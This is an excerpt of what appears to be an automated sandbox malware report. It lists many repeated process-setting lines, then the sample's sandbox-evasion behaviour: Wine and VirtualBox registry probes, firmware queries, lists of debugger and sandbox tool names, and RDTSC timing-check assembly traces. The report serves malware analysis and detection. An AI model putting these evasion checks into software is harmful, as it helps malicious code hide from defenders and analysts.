Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: f4d805b7c6.exe PID: 364, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-9728

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542442927.000000000041F000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL0
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF343 second address: BAF349 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF349 second address: BAF34F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF34F second address: BAEBE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007FC708CACEA2h 0x0000000f nop 0x00000010 pushad 0x00000011 mov ebx, dword ptr [ebp+122D39A7h] 0x00000017 popad 0x00000018 push dword ptr [ebp+122D0411h] 0x0000001e cld 0x0000001f call dword ptr [ebp+122D210Eh] 0x00000025 pushad 0x00000026 stc 0x00000027 mov dword ptr [ebp+122D2811h], edi 0x0000002d xor eax, eax 0x0000002f mov dword ptr [ebp+122D2811h], esi 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 mov dword ptr [ebp+122D2811h], eax 0x0000003f mov dword ptr [ebp+122D38C7h], eax 0x00000045 jmp 00007FC708CACEA0h 0x0000004a mov esi, 0000003Ch 0x0000004f pushad 0x00000050 mov al, bl 0x00000052 call 00007FC708CACEA1h 0x00000057 push eax 0x00000058 pop ebx 0x00000059 pop edx 0x0000005a popad 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f or dword ptr [ebp+122D2386h], eax 0x00000065 lodsw 0x00000067 jmp 00007FC708CACE9Fh 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 or dword ptr [ebp+122D2386h], ebx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a jmp 00007FC708CACEA5h 0x0000007f nop 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 jo 00007FC708CACE96h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEBE7 second address: BAEBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEBED second address: BAEC12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007FC708CACE9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FC708CACE96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CCA5 second address: D2CCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CCA9 second address: D2CCB5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC708CACE96h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EDAE second address: D2EE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C2198Ch 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FC708C2198Ah 0x00000011 nop 0x00000012 jmp 00007FC708C2198Fh 0x00000017 push 00000000h 0x00000019 call 00007FC708C2198Eh 0x0000001e xor dword ptr [ebp+122D1F6Ch], edi 0x00000024 pop edx 0x00000025 call 00007FC708C21989h 0x0000002a jmp 00007FC708C21992h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push edi 0x00000033 jmp 00007FC708C2198Ah 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE1C second address: D2EE5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FC708CACE9Eh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FC708CACE9Fh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC708CACE9Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE5A second address: D2EEB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21990h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FC708C2198Ch 0x00000010 pop edi 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 add dword ptr [ebp+122D2AFCh], esi 0x0000001b sub dword ptr [ebp+122D2811h], eax 0x00000021 push 00000003h 0x00000023 jmp 00007FC708C21995h 0x00000028 call 00007FC708C21989h 0x0000002d push eax 0x0000002e push edx 0x0000002f push ebx 0x00000030 jbe 00007FC708C21986h 0x00000036 pop ebx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEB7 second address: D2EED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FC708CACE98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EED1 second address: D2EF14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FC708C21990h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FC708C21993h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e pushad 0x0000001f push esi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EFFB second address: D2F0AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FC708CACEA1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push esi 0x00000015 jbe 00007FC708CACEA3h 0x0000001b pop esi 0x0000001c pop eax 0x0000001d mov ecx, 5BDB19D4h 0x00000022 push 00000003h 0x00000024 mov dword ptr [ebp+122D1DEEh], eax 0x0000002a push 00000000h 0x0000002c movsx edi, di 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007FC708CACE98h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b push 75AE7919h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007FC708CACEA7h 0x00000058 jmp 00007FC708CACEA4h 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0AD second address: D2F0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
